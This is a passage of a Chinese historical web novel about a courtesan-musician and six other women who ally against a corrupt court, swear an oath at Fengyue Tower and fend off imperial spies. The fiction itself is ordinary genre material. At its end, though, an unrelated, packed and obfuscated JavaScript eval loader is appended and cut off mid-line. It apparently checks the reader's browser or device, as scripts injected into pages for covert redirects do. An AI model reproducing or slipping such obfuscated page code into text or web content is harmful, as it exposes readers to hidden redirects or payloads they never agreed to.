周嬷嬷走到那大汉身边,点头哈腰地说:“将军,花姑娘来了。” 那大汉抬起头,看向花解语。 他的目光在她身上转了一圈,从上到下,从下到上,像在打量一件货物。 然后他咧嘴笑了。 “来,坐这儿。” 他拍了拍自己的大腿。 旁边的几个北狄人跟着笑起来,笑得很大声,很放肆。 花解语站着没动。 那大汉的笑容僵了一瞬。 “怎么,”他说,“本将军请不动你?” 花解语笑了。 她笑起来的样子很好看,眼波流转,嘴角弯弯,像三月的春风。 “将军说笑了。”她说,“民女怎么会不愿意?只是民女有个规矩。” 大汉问:“什么规矩?” 花解语说:“民女是弹琴的,不是陪酒的。将军想听琴,民女这就给您弹。将军想喝酒——” 她顿了顿,笑容更深了。 “教坊司里会喝酒的姑娘多的是,不差民女一个。” 正厅里安静了一瞬。 那几个北狄人的笑容都僵在脸上。 陪坐的汉人官员们面面相觑,大气都不敢出。 大汉盯着花解语,盯了好一会儿。 然后他忽然笑了。 “有意思。”他说,“你这丫头有意思。” 他拍了拍桌子:“行,不喝酒,弹琴。来,给本将军弹一曲。” 花解语走到角落里,那架琴已经摆好了。是她自己的琴,周嬷嬷让人搬来的。 她坐下来,手指搭上琴弦。 “将军想听什么?” 大汉说:“你们汉人的曲子,本将军不懂。你随便弹。” 花解语点点头。 手指一拨,琴音响起。 《广陵散》。 她弹得很慢,很轻,每一个音都清清楚楚。 那些藏在曲子里的消息,一个一个从她指尖流出来。 她不知道那个要听的人在不在这里。 但她相信,那个人在听。 大汉一开始还喝着酒,听着听着,眉头皱起来。 “这什么曲子?”他问,“怎么听着像哭丧?” 花解语没理他,继续弹。 大汉的脸色变了。 “本将军问你话,你聋了?” 花解语手指一顿,抬起头,看着他。 “将军,”她说,“这是《广陵散》。讲的是一个叫聂政的人,为父报仇,刺杀韩相的故事。” 大汉愣了一下。 花解语继续说:“聂政刺杀了韩相之后,为了不连累家人,自己毁容剖腹而死。后人把这件事编成曲子,就是这首《广陵散》。” 大汉的脸色更难看了。 “你什么意思?”他站起来,大步走到花解语面前,“你给本将军弹这个,是想说本将军会被人刺杀?” 花解语仰头看着他,脸上带着笑。 “将军想多了。”她说,“民女只是觉得,这曲子好听,所以弹给将军听。” 大汉盯着她,眼睛里的怒火几乎要喷出来。 旁边的汉人官员连忙打圆场:“将军息怒,将军息怒。这丫头不懂事,回头让嬷嬷好好教训她。” 大汉一把推开他,继续盯着花解语。 花解语也不躲,就那么仰着头,看着他。 两个人对视着。 正厅里静得可怕。 过了好一会儿,大汉忽然笑了。 “好。”他说,“好一个牙尖嘴利的丫头。” 他弯下腰,凑近花解语的脸。 “你叫什么?” 花解语说:“花解语。” 大汉点点头:“花解语,本将军记住你了。” 他直起腰,转身回到座位上,端起酒杯,一饮而尽。 “继续弹。”他说。 花解语低下头,手指重新搭上琴弦。 琴音再次响起,还是《广陵散》。 这一次,她弹得更慢了。 因为她看见了一个人。 那个人坐在角落里,穿着一身青布衣裳,像个普通的随从。可她的眼睛不一样,那双眼睛亮得像刀,正在看着她。 谢知微。 大燕宰相,相中狼。 花解语的手指没有停。 可她心里笑了。 果然在听。 酒宴散的时候,已经是深夜了。 花解语收拾好琴,正要离开,那大汉又叫住她。 “花姑娘,”他说,“今晚留下陪本将军,如何?” 花解语脚步一顿。 她回过头,看着他。 那大汉靠在椅子上,满脸醉意,眼睛里却闪着光。 花解语笑了。 “将军,”她说,“您可听过一句话?” 大汉问:“什么话?” 花解语说:“乐师的琴弦,能勒死人。” 大汉的笑容僵住了。 花解语看着他,一字一字说:“将军要是想试试,民女可以给您弹一曲。用琴弦弹。” 正厅里又是一片死寂。 那几个北狄人蹭地站起来,手按在刀柄上。 花解语一动不动,脸上还带着笑。 大汉盯着她,盯了很久。 然后他挥了挥手。 “让她走。” 那几个北狄人不甘心地松开手。 花解语冲他行了个礼,抱着琴,慢慢走出正厅。 身后传来那大汉的声音:“有意思。这丫头真有意思。” 花解语没有回头。 她走过回廊,走到后院,走进自己的屋子。 门关上的一瞬间,她的腿软了。 她靠在门上,大口大口喘气。 手心全是汗。 刚才那一下,她是在赌。 赌那个北狄将军不敢在京城杀人。 赌自己的命。 她赌赢了。 可她不知道,下一次还能不能赢。 门外传来轻轻的叩门声。 花解语浑身一紧。 “谁?” “是我。” 是个女子的声音,很轻,很稳。 花解语打开门。 门外站着一个穿青布衣裳的人。 是谢知微。 花解语看着她,没有说话。 谢知微走进来,把门关上。 两个人面对面站着。 谢知微说:“你弹的《广陵散》,我听见了。” 花解语点点头。 谢知微说:“你娘的消息,我都收到了。” 花解语的眼睛红了。 二十年了。 她等了二十年,终于等到这句话。 谢知微看着她,忽然伸出手,在她肩膀上轻轻拍了拍。 “你娘是个好人。”她说,“她传的消息,救了很多人。” 花解语咬着嘴唇,没让眼泪掉下来。 谢知微从怀里摸出一张纸条,递给她。 “腊月廿八,风月楼,酉时。”她说,“我们等你。” 花解语接过纸条,攥在手心里。 谢知微转身要走,忽然又停下来。 “对了,”她说,“今天的事,我看见了。你做得很好。” 花解语愣了一下。 谢知微回过头,看着她,笑了一下。 “琴弦勒人,”她说,“这招我记住了。” 然后她推开门,消失在夜色里。 花解语站在门口,看着她的背影。 夜风吹过来,凉丝丝的。 她低头看着手里的纸条。 腊月廿八,风月楼,酉时。 还有五天。 她把纸条烧了,走到琴前坐下。 手指搭上琴弦,轻轻拨了一下。 “嗡——” 一声低鸣。 她想起她娘。 想起她娘教她弹琴的样子,想起她娘说的那些话,想起她娘死的时候,琴弦上沾着的血。 她娘说,解语,咱们这辈子,就是弹琴的命。 可弹琴的命,也可以不认命。 她弹了二十年琴,等的就是这一天。 窗外,月亮从云层里钻出来,照在雪地上,白得刺眼。 花解语看着那月光,忽然想起那个北狄将军的眼神。 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“有事?”她说,“花姑娘,您可别忘了,您是教坊司的人。教坊司的人,就得听教坊司的规矩。今儿个您要是不去,回头可别怪嬷嬷不讲情面。” 花解语看着她,忽然笑了。 “周嬷嬷,”她说,“您知道我今天要去哪儿吗?” 周嬷嬷愣了一下。 花解语说:“我去风月楼。” 周嬷嬷的脸色变了。 风月楼是什么地方,她当然知道。 那是京城最热闹的酒楼,也是三教九流聚集的地方。教坊司的姑娘去那儿,要是被人看见了,传出去,可是大事。 “你——”周嬷嬷刚想说什么,忽然被一只手按住肩膀。 她回头一看,是一个穿黑衣的女子,不知道什么时候站在她身后。 那女子说:“周嬷嬷,今儿个花姑娘有事,您就别拦了。” 周嬷嬷想挣扎,却发现自己动不了。 那女子的手像铁钳一样,箍得她肩膀生疼。 花解语看了那女子一眼,认出她是风月楼的人,姓李,人称李三娘。 李三娘冲她点点头。 花解语不再耽搁,背着琴,快步往外走。 走出教坊司的大门,外面停着一辆马车。 车帘掀开,露出一张脸。 是沈醉。 “上车。”沈醉说。 花解语上了车。 车里坐着五个人。 谢知微,谢霜寒,白芷,苏锦,云娘。 她们都看着她。 花解语把琴放在一边,坐下。 谢知微说:“我听说,北狄将军点了你?” 花解语点点头。 谢知微说:“他为难你了?” 花解语摇摇头。 谢知微看着她,目光幽深。 “花解语,”她说,“你怕吗?” 花解语想了想,说:“怕。” 谢知微说:“怕还来?” 花解语笑了。 “谢相,”她说,“我娘传了一辈子消息,最后死在那些人手里。我等了二十年,才等到您来听。您说,我能不来吗?” 谢知微看着她,眼眶红了。 她伸出手,在花解语手背上拍了拍。 “好。”她说,“好。” 马车动起来,往风月楼去。 花解语坐在车里,看着窗外。 街上人来人往,有人在买年货,有人在贴春联,有人在放鞭炮。 明天就是除夕了。 可她不知道,自己还能不能活到明天。 那个北狄将军,不会放过她的。 但她不怕。 因为她终于等到了这一天。 等她娘等了一辈子的这一天。 风月楼到了。 花解语跟着她们上楼,走进听梅阁。 七个人,七盏酒。 谢知微举起酒盏,说了那些话。 每个人都在听。 花解语听着那些名字,那些惨事,那些不甘心。 她想起她娘。 想起她娘死的时候,眼睛还睁着,看着她。 那眼神她忘不了。 那是放心。 她娘在放心。 因为她娘知道,她会活下去。 会替她活下去。 谢知微说:“咱们都是死过一回的人了。能活到现在,靠的是什么?靠的是不甘心。” 花解语举起酒盏。 “谢相,”她说,“我娘传的那些消息,救了很多人。可她自己没能活下来。今天我来,是替她来的。” 谢知微看着她。 花解语继续说:“我娘临死前跟我说,解语,你记住,这世道欠咱们的,咱们得自己讨回来。” 她把酒一饮而尽。 “今天,我来讨了。” 七盏酒碰在一起。 窗外,雪落无声。 花解语喝完酒,走到窗边,看着外面的胭脂河。 河水黑沉沉的,缓缓流淌。 她忽然想起那个北狄将军的脸。 贪婪的,阴狠的,像狼一样。 她笑了一下。 “琴弦勒人,”她轻声说,“可不只是说说而已。” 身后传来脚步声。 是谢知微。 她站在花解语身边,看着窗外。 “那个北狄将军,”谢知微说,“叫什么?” 花解语说:“忽鲁。北狄的千夫长。” 谢知微点点头,没再说话。 花解语看着她,忽然问:“谢相,您不怕吗?” 谢知微回过头,看着她。 “怕什么?” 花解语说:“怕死。” 谢知微笑了。 她笑得很难看,嘴角扯动,眼睛里却没有笑意。 “怕。”她说,“可更怕一辈子就这样。” 花解语看着她,忽然明白了。 这个女人,跟她一样。 都是从死人堆里爬出来的。 都是不甘心的人。 她回过头,继续看着窗外。 雪还在下。 河水还在流。 可她知道,从今天起,一切都不一样了。 ——第六章完—— 8. 七人初聚首 腊月二十八,酉时三刻。 风月楼听梅阁。 炭火烧得正旺,把屋子里烘得暖洋洋的。窗纸上结了一层薄薄的水雾,外面的灯火透进来,朦朦胧胧,像隔着一层纱。 桌上摆着七盏酒,都是女儿红,沈醉床底下藏了十年的那坛。 可没有人喝。 七个人坐着,没有人说话。 谢知微坐在主位,面前摆着那盏酒,一动不动。她的目光从每个人脸上扫过,慢慢地,一个一个看过去。 沈醉靠在窗边,一条腿曲着,一条腿晃荡,手里转着空酒碗,眼睛却亮得惊人。她脸上还带着那种懒洋洋的笑,可那笑底下,藏着东西。 谢霜寒坐在角落里,腰间的剑没有解,手按在剑柄上,像随时准备拔剑。她的脸冷得像外面的雪,从进来就没说过一句话。 白芷挨着谢霜寒坐着,手里捏着一个药包,不知道是救人用的还是杀人用的。她的目光在每个人脸上转了一圈,最后停在谢知微脸上,一动不动。 苏锦坐在白芷旁边,手里端着一盏茶,慢慢喝着,像是在自己家里。她的眼睛也不闲着,打量着每一个人,嘴角噙着一丝笑,那笑狐狸似的,让人看不透她在想什么。 云娘坐在窗边另一侧,离炭火最近。她闭着眼睛,手指无意识地捻着袖口,像是在摸什么。她的耳朵微微动着,捕捉着屋子里的每一个声音。 花解语坐在云娘旁边,面前摆着她的琴。她没弹,只是把手搭在琴弦上,轻轻地,若有若无地拨着,发出极轻极轻的声响。 七个人。 七个从死人堆里爬出来的女人。 七个不甘心的人。 炭火“啪”地爆了一声,溅起几点火星。 沈醉忽然笑了。 她把酒碗往桌上一放,站起身,走到桌前,端起那盏酒。 “谢相,”她说,“人齐了。酒也倒了。您该说话了吧?” 谢知微看着她,没说话。 沈醉等了一会儿,没等到她开口,把酒盏往桌上一顿。 “行,”她说,“您不说,我替您问。” 她看着谢知微,一字一字说: “谢相,你拿什么让我们信你?” 这话问得直接,问得锋利,问得一点情面都不留。 屋子里安静了一瞬。 谢霜寒的手按紧了剑柄。白芷的目光闪了闪。苏锦放下了茶盏。云娘的耳朵动了动。花解语的手指停在琴弦上。 所有人都看着谢知微。 谢知微也看着她们。 一个一个看过去。 看沈醉,看谢霜寒,看白芷,看苏锦,看云娘,看花解语。 然后她站起来。 她慢慢抬起手,解下官帽。 官帽放在桌上,发出轻轻的一声响。 烛火照在她头上,照出那一头白发。 白得像雪,白得刺眼。 “我母亲,”谢知微说,“因提‘女子读书’被赐死。那年我七岁。” 她的声音很平静,平静得像在说别人的事。 “我跪在雪地里,看着她的血把雪染红。从那天起,我就知道,我这条命,从出生就在赌。” 她顿了顿。 “赌什么?赌我能活下来。赌我能等到今天。赌能等到你们。” 沈醉看着她那一头白发,脸上的笑容慢慢收起来。 谢知微继续说:“我赌了二十三年。赌到今天,终于等到你们。” 她端起酒盏,看着那金黄色的酒液。 “你们问我拿什么让你们信?我拿这条命。二十三年前就该死、却偏偏活到今天的这条命。” 她把酒盏举起来。 “你们呢?你们敢不敢赌?” 没有人说话。 炭火烧得噼啪响。 窗外的风声呜呜地吹。 过了很久,很久。 沈醉忽然笑了。 她端起自己的酒盏,走到谢知微面前,和她碰了一下。 “敢。”她说,“怎么不敢?老娘这条命,早就不想要了。能拿来换点东西,值。” 她把酒一饮而尽。 谢霜寒站起来,走过来,端起酒盏。 她没有说话,只是和谢知微碰了一下,一饮而尽。 白芷走过来,端起酒盏。 “我爹救人,被人害死了。”她说,“我娘我弟弟我妹妹,都死了。我活下来,不是为了苟且偷生的。” 她和谢知微碰了一下,把酒喝了。 苏锦走过来,端着酒盏,笑眯眯的。 “谢相,”她说,“我拿钱赌。您拿命赌。咱们看看,谁的赌注大。” 她和谢知微碰了一下,喝了。 云娘摸索着站起来,花解语扶着她,走到桌前。 云娘端起酒盏,对着谢知微的方向。 “我看不见,”她说,“可我心里有数。谢相,这杯酒,我替我娘喝,也替我那些学生喝。” 她和谢知微碰了一下,慢慢喝完。 花解语最后一个端起酒盏。 她没有说话,只是看着谢知微。 谢知微也看着她。 两个女人对视着。 花解语忽然笑了。 “谢相,”她说,“我娘传了二十年消息,最后死在那些人手里。今天我来,是替她来的。” 她和谢知微碰了一下。 七盏酒,七个人。 谢知微举起酒盏,看着她们。 “诸位,”她说,“从今天起,咱们是一条船上的人了。这条船往哪儿开,我不知道。可我知道,不管往哪儿开,咱们一起。” 她把酒一饮而尽。 七盏酒碰在一起,发出清脆的响声。 就在那一瞬间—— 窗外传来一声闷响。 “轰——” 是雪。 屋顶上的积雪,被这一声酒盏碰撞的脆响震落了一大片,砸在地上,发出沉闷的声响。 沈醉走到窗边,推开窗。 冷风灌进来,吹得烛火摇曳。 外面是黑沉沉的夜,雪还在下。院子里堆满了落下来的雪,厚厚的一层。 她回头看着她们,笑了。 “好兆头。”她说,“积雪震落,来年丰收。” 谢知微走到她身边,看着窗外。 “不是丰收。”她说,“是新生。” 沈醉看着她。 谢知微说:“这雪埋了多少冤魂,埋了多少不甘心。今天咱们把它震下来,来年,就该长新东西了。” 沈醉点点头,没说话。 其他几个人也走到窗边。 七个人站在窗前,看着外面的雪。 雪下得很大,纷纷扬扬,把整个京城都盖住了。 可她们知道,雪下面埋着的那些东西,快要长出来了。 谢知微忽然说:“十年后,你们猜会怎样?” 沈醉问:“怎样?” 谢知微说:“十年后,会有人记得今天。” 沈醉笑了。 “记得咱们?” 谢知微点点头。 “记得七个女人,在腊月二十八的晚上,聚在风月楼,喝了一碗酒。然后,这世道就变了。” 没有人说话。 她们看着窗外的雪,看着雪中的京城,看着那一片茫茫的白。 花解语忽然说:“谢相,我弹个曲子吧。” 谢知微点点头。 花解语走回琴前,坐下。 手指搭上琴弦。 《广陵散》。 琴音响起,在夜风里飘出去,飘到雪地上,飘到胭脂河上,飘到京城的每一个角落。 那些藏在曲子里的消息,那些用命换来的密语,一个一个从她指尖流出来。 可这一次,不只是消息。 是祭奠。 祭奠那些死了的人,祭奠那些不甘心的人,祭奠那些没能等到今天的人。 一曲终了。 余音袅袅,在夜风里散尽。 七个人站在窗前,听着那余音一点点消失。 很久很久,没有人说话。 最后,沈醉开口了。 “谢相,”她说,“往后咱们怎么联系?” 谢知微说:“风月楼是第一个地方。还有别的,慢慢建。” 沈醉点点头。 谢知微看着她们。 “诸位,”她说,“今天之后,各回各处。该做什么做什么,不要露出马脚。需要你们的时候,我会派人送信。” 她顿了顿。 “记住,从今天起,你们不是我的人,我也不是你们的主子。咱们是——” 她想了想,笑了。 “是七条命。一条船上。” 沈醉也笑了。 “七条命,”她说,“这名儿好。” 谢霜寒难得开口:“七条命,能杀多少人?” 谢知微看着她:“杀该杀的人。” 谢霜寒点点头,不再说话。 白芷问:“那些需要救的人呢?” 谢知微说:“救。” 苏锦问:“钱呢?我那些账本,什么时候用?” 谢知微说:“该用的时候用。” 云娘问:“那些姑娘们呢?她们学的绣花,能派上用场吗?” 谢知微说:“能。大用场。” 花解语问:“我的琴呢?” 谢知微看着她,笑了。 “你的琴,”她说,“能杀人,也能救人。还能传消息。比什么都管用。” 花解语点点头,不再问了。 七个人站在窗前,看着外面的雪。 雪还在下。 可她们知道,这雪,快要停了。 沈醉忽然想起什么,从桌上拎起那坛酒,晃了晃。 还有小半坛。 “还有酒,”她说,“喝不喝完?” 谢知微看着她,笑了。 “喝。” 沈醉给每人又倒了一盏。 七盏酒再次举起。 这一次,没有人说话。 她们只是互相看着,看着彼此的眼睛。 那些眼睛里,有恨,有痛,有不甘。 可也有光。 微弱的光,像雪夜里的灯火。 七盏酒碰在一起。 又是一声脆响。 窗外,又落下一片积雪。 可这一次,没有人去看。 她们只是喝酒。 把酒喝完。 把命赌上。 夜深了。 风月楼的灯笼一盏一盏熄灭。 听梅阁的灯还亮着。 七个人还在。 她们坐着,或站着,或靠着窗。 没有人急着走。 因为这一走,就不知道什么时 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“认命。”她说,“不认命的命。” 云娘笑了。 “苏老板,”她说,“您这话说得好。不认命的命。” 花解语拨了一下琴弦,发出一声轻响。 “苏老板,”她说,“您那账本上,记着多少人的名字?” 苏锦想了想:“几百个吧。” 花解语说:“我娘传的消息里,也有几百个名字。都是死了的人。” 她看着苏锦。 “咱们这些人,合在一起,能记多少个名字?” 苏锦没有回答。 谢知微替她回答了。 “能记多少记多少。”她说,“记到记不下为止。记到没有人再需要被记为止。” 屋子里安静下来。 炭火烧得差不多了,只剩下一层红彤彤的炭火,慢慢暗下去。 窗外,天边露出一线灰白。 天快亮了。 沈醉站起身,伸了个懒腰。 “行了,”她说,“该散了。再不走,街上该有人了。” 谢知微点点头,站起来。 其他人也站起来。 七个人站在屋子里,互相看着。 没有人说话。 最后,谢知微开口了。 “诸位,”她说,“保重。” 沈醉笑了。 “保重。”她说。 谢霜寒点点头。 白芷抱了抱拳。 苏锦拱了拱手。 云娘点了点头。 花解语行了个礼。 然后她们一个一个走出听梅阁,走出风月楼,走进凌晨的风雪里。 谢知微最后一个走。 她站在门口,回头看了一眼。 听梅阁里空荡荡的,桌上放着七只空酒盏,烛台里的蜡烛已经燃尽,只剩下一滩白蜡。 她看着那些空酒盏,看了很久。 然后她转身,走进风雪里。 雪还在下。 天快亮了。 ………………十年后。 京城西郊,有一座小小的祠堂。 祠堂不大,只有一间屋子,里头供着七尊牌位。 牌位上没有名字,只有七个字: 酒中仙。剑中霜。医中圣。商中狐。绣中魂。乐中妖。相中狼。 没有人知道这七个人是谁。 可每年腊月二十八,都有人来祭拜。 今年也不例外。 天还没亮,就有人来了。 是个年轻的女子,穿着青布衣裳,手里捧着一束梅花。 她走进祠堂,把梅花供在牌位前,跪下,磕了三个头。 她身后,又有人进来。 一个,两个,三个…… 越来越多。 有穿绸衫的,有穿粗布的,有年轻的,有年长的。她们一个一个走进来,把梅花供上,跪下,磕头。 没有人说话。 只有梅花一束一束摆上去,堆满了供桌。 最后一个进来的是个老妇人。 她瞎了,被人扶着,一步一步走进来。 她摸索着走到供桌前,伸出手,摸了摸那些牌位。 摸得很慢,一个一个摸过去。 酒中仙。剑中霜。医中圣。商中狐。绣中魂。乐中妖。相中狼。 摸完了,她笑了。 “都在。”她说,“都还在。” 扶着她的人问:“云娘,您说什么?” 云娘摇摇头,没说话。 她转过身,往外走。 走到门口,她忽然停下来,回过头。 虽然看不见,可她知道,那些牌位在那里。 那七个人,在那里。 十年前的那个晚上,七盏酒碰在一起,积雪震落。 十年后,那些雪早就化了。 可那七个人,还活着。 活在每一个来祭拜的人心里。 活在每一个不认命的女子心里。 云娘走出祠堂。 外面,阳光正好。 雪早就停了。 ——第七章完—— 9. 暗流:有人跟踪 腊月二十九,寅时三刻。 天还没亮。 谢知微走出风月楼的时候,雪已经停了,可风还在刮,刀子似的往脸上割。她拢了拢身上的斗篷,沿着胭脂河往北走。 走出二十几步,她忽然停下来。 没有回头。 可她听见了。 身后的雪地里,有脚步声。 很轻,很细,像猫踩在雪上。寻常人根本听不见。可她谢知微在刀尖上走了二十三年,什么声音瞒得过她? 她冷笑一声,继续往前走。 脚步不远不近地跟着。 走到一个拐角处,她忽然闪身进去。 后面的脚步声停了。 过了一会儿,一个黑影从巷口探出头来。 空的。 巷子里什么都没有。 黑影愣了愣,正要转身—— “找谁?” 声音从身后传来。 黑影猛地回头,谢知微就站在他身后三步远的地方,手里不知何时多了一把短刀,刀尖在雪夜里泛着寒光。 黑影的脸色变了。 谢知微看着他,慢慢笑了。 “皇帝的狗,”她说,“来得真快。” 黑影不说话,手往腰间摸去。 谢知微的刀往前递了一寸。 “别动。”她说,“动一下,我让你见不着明天的太阳。” 黑影的手僵住了。 谢知微上下打量了他一眼。 二十来岁,黑衣,短打扮,腰间挂着腰牌。她一眼就认出那是皇城司的人——皇帝的耳目,专门干这些见不得人的勾当。 “谁派你来的?”她问。 黑影咬着牙不说话。 谢知微点点头。 “行,”她说,“不说是吧?那我替你说了。刘公公?还是陛下亲自吩咐的?” 黑影的眼神闪了闪。 谢知微看见了。 “刘公公。”她说,“他让你盯谁?盯我?还是盯风月楼?” 黑影还是不开口。 谢知微忽然收起刀。 黑影愣了一下,转身就跑。 跑出几步,忽然一头栽倒在地。 他挣扎着想爬起来,却发现浑身软得像一摊泥,一点力气都没有。 谢知微慢慢走过来,蹲在他面前。 “皇城司的人,”她说,“就这点本事?” 黑影瞪着她,眼睛里全是惊恐。 谢知微从他腰间扯下那块腰牌,看了看,扔进胭脂河里。 “回去告诉刘公公,”她说,“就说我谢知微说了——风月楼是我朋友开的,让他的人离远点。再来,就别怪我不客气。” 黑影张了张嘴,想说什么,可一句话都说不出来。 谢知微站起来,拍了拍手。 “药效半个时辰,”她说,“半个时辰后你就能动了。这半个时辰里,你好好想想,怎么跟刘公公交代。” 她转身走了。 走出几步,又停下来,回过头。 “对了,”她说,“你回去告诉刘公公,就说我谢知微,等他来。” 说完,她消失在夜色里。 黑影躺在雪地里,浑身僵硬,眼睁睁看着天边慢慢亮起来。 半个时辰后,他终于能动了。 他爬起来,跌跌撞撞往皇城方向跑。 跑出很远,他才敢回头看一眼。 风月楼的灯笼还亮着,红彤彤的,像一只眼睛。 正在看着他。 与此同时,风月楼里。 沈醉站在三楼听梅阁的窗边,看着谢知微消失在巷子里。 她身后站着李三娘。 “老板娘,”李三娘说,“人走了。” 沈醉点点头。 李三娘说:“要不要我跟上去看看?” 沈醉摇摇头:“不用。谢相能应付。” 李三娘不再说话。 沈醉站在窗边,看着外面的夜色。 看了很久。 然后她忽然笑了。 “皇帝的狗,”她说,“来得倒快。” 李三娘问:“老板娘,咱们怎么办?” 沈醉回过头,看着她。 “怎么办?”她说,“老娘的风月楼,可不是他们能撒野的地方。” 她走到桌前,拿起那只空酒碗,转了两圈。 “三娘,”她说,“明儿起,把咱们的人都叫回来。楼里楼外,日夜盯着。只要那些狗敢来——” 她把酒碗往桌上一顿。 “就让他们有来无回。” 李三娘抱拳:“是。” 沈醉摆摆手,让她下去。 屋子里只剩她一个人。 她走到窗边,推开窗。 冷风灌进来,吹得烛火摇曳。 她看着外面的夜色,看着那条胭脂河,看着河对岸黑沉沉的皇城。 “皇帝,”她轻声说,“你以为你养的那些狗,能咬得动老娘的风月楼?” 她笑了。 笑得很大声。 笑声在夜风里飘出去,飘到河面上,飘到对岸。 没有人听见。 可她知道,有人会听见的。 那些狗。 那些藏在暗处的眼睛。 让他们听见。 让他们知道,风月楼不是好惹的。 让他们知道,这世道,要变了。 第二天一早,皇城司。 刘公公坐在椅子上,听那个黑衣人说完昨晚的事,脸色越来越难看。 “她真这么说?”他问。 黑衣人跪在地上,头都不敢抬:“是,她……她就是这么说的。” 刘公公沉默了一会儿。 然后他笑了。 笑得阴恻恻的。 “有意思,”他说,“真有意思。谢知微啊谢知微,你当了九年宰相,还真以为自己能翻天了?” 他站起身,走到窗前,看着外面。 外面是皇城的宫殿,金碧辉煌,层层叠叠。 “去,”他说,“多派几个人。日夜盯着。她见什么人,说什么话,做什么事,我全都要知道。” 黑衣人应声而去。 刘公公站在窗前,眯着眼睛。 “谢知微,”他喃喃说,“我倒要看看,你能蹦跶几天。” 腊月二十九,午时。 谢知微回到宫里,刚进值房,就看见桌上多了一封信。 她拆开一看,笑了。 是沈醉的信。 只有一行字:狗来了,关门打。 她把信烧了,坐在案前,继续批奏折。 批着批着,她忽然抬起头,看向窗外。 窗外有人在走动。 穿着侍卫的衣服,可那不是普通的侍卫。 是皇城司的人。 她冷笑一声,低下头,继续批奏折。 笔尖划过宣纸,朱砂红得刺目。 她一边批,一边想。 皇帝的狗,来得真快。 可来得快,死得也快。 她等着。 等着看那些狗,怎么一条一条死在她手里。 腊月二十九,酉时。 天黑了。 风月楼的灯笼点起来,红彤彤的一片。 沈醉站在门口,看着来来往往的人。 街上人来人往,有买年货的,有贴春联的,有放鞭炮的。明天就是除夕,家家户户都在忙。 可她知道,这些人里,藏着狗。 她一眼就看出来了。 那几个蹲在馄饨摊边上的,穿得破破烂烂,可眼睛不对劲。那双眼睛不看馄饨,只看风月楼。 还有那个卖糖葫芦的,转来转去,就在风月楼门口转,转了一个时辰了。 还有那两个喝茶的,坐在对面茶馆的窗边,茶都凉了,还在喝。 狗。 全是狗。 沈醉笑了。 她转身走进楼里,上了三楼,进了听梅阁。 李三娘跟进来。 “老板娘,”她说,“都看清了。六个。三个在街边蹲着,一个装卖糖葫芦的,两个在对面茶馆。” 沈醉点点头。 “好,”她说,“让他们盯着。盯到天亮,也盯不出什么。” 李三娘问:“要不要做点什么?” 沈醉想了想。 “做,”她说,“当然要做。” 她走到窗边,推开窗,对着外面喊了一声。 “阿萝!来碗馄饨!” 对面馄饨摊上,阿萝的娘应了一声,很快端着一碗馄饨送过来。 那几个蹲着的狗,眼睛都亮了。 他们看着阿萝的娘走进风月楼,又走出来。 什么都没发现。 沈醉坐在窗边,慢慢吃着馄饨。 一边吃,一边笑。 那些狗,真以为能盯住她? 笑话。 这风月楼她开了十年,什么风浪没见过?皇帝的狗算什么?当年那些仇家,哪个不比这些狗凶? 她吃完馄饨,把碗放下。 “三娘,”她说,“明儿个除夕,给伙计们放一天假。让他们回家过年。” 李三娘愣了一下:“老板娘,那楼里……” 沈醉摆摆手:“我守着。让那些狗看看,老娘一个人,能把这楼守成什么样。” 李三娘想说什么,又咽了回去。 她跟着沈醉十年,知道她的脾气。 说一不二。 “是。”她说。 沈醉站在窗边,看着外面的灯火。 明天就是除夕了。 后天就是初一。 新的一年,要来了。 她不知道这一年会发生什么。 但她知道,这一年,不会太平。 那些狗,不会善罢甘休。 那个皇帝,不会放过她们。 可她不怕。 怕什么? 她这条命,早就不想要了。 能拿来换点东西,值。 窗外,远远传来一声炮仗响。 有人在放鞭炮。 沈醉听着那响声,忽然想起小时候。 那时候她娘还在,她爹还没开始赌。每年除夕,她娘都会包饺子,她爹会放鞭炮。一家人围在一起,吃饺子,守岁,等着新年。 那时候她觉得,日子会一直这样过下去。 后来才知道,不会的。 日子会变。 人也会变。 只有一样不变—— 这世道,还是那个世道。 沈醉关上窗,转身下楼。 楼下的客人都散了,伙计们在收拾桌子。她看着那些熟悉的面孔,忽然说:“明儿个除夕,你们都回家过年。初五再回来。” 伙计们愣了一下,然后欢呼起来。 沈醉笑了。 看着他们欢天喜地地收拾东西,看着他们一个个离开,看着楼里慢慢安静下来。 最后只剩她一个人。 她坐在柜台后面,点了一盏灯,给自己倒了一碗酒。 慢慢喝着。 喝到半夜,她忽然听见门外有动静。 很轻,很细。 她放下酒碗,站起来,走到门边。 透过门缝往外看。 外面站着一个人。 黑衣,蒙面,手里拿着刀。 沈醉笑了。 她拉开门。 那个人没想到门会突然打开,愣了一下。 沈醉看着他,笑眯眯地问:“客官,这么晚了,来喝酒?” 那个人反应过来,举刀就砍。 沈醉一闪身,让过那一刀,同时一脚踹在他膝盖上。 那个人惨叫一声,跪倒在地。 沈醉弯腰,从他手里夺过刀,架在他脖子上。 “谁派你来的?”她问。 那个人咬着牙不说话。 沈醉点点头。 “行,”她说,“不说是吧?那我替你说。刘公公?还是陛下?” 那个人眼神一闪。 沈醉看见了。 “刘公公,”她说,“他派你们来干什么?杀人?放火?还是吓唬吓唬我?” 那个人还是不说话。 沈醉叹了口气。 “你们这些狗,”她说,“真没意思。问什么都不说,打也不说,杀也不说。你们活着还有什么意思?” 她把刀往下一按。 那个人脖子上渗出血来。 “最后问你一次,”她说,“刘公公让你们来干什么?” 那个人的脸白了。 “盯……盯着……”他结结巴巴地说,“盯着您,还有……还有那些来过的人……” 沈醉点点头。 “就这些?” “就……就这些……” 沈醉把刀收起来。 “滚。”她说。 那个人爬起来,连滚带爬地跑了。 沈醉站在门口,看着他的背影消失在夜色里。 然后她笑了。 “三娘,”她忽然说,“出来吧。” 李三娘从暗处走出来。 沈醉看着她,问:“都看见了?” 李三娘点点头。 沈醉说:“回去告诉谢相,就说我说的——狗急了,要跳墙了。” 李三娘应了一声,消失在夜色里。 沈醉站在门口,看着外面的夜。 夜很黑,很冷。 可她心里热。 因为那些狗越急,就说明她们越对。 说明她们戳到痛处了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 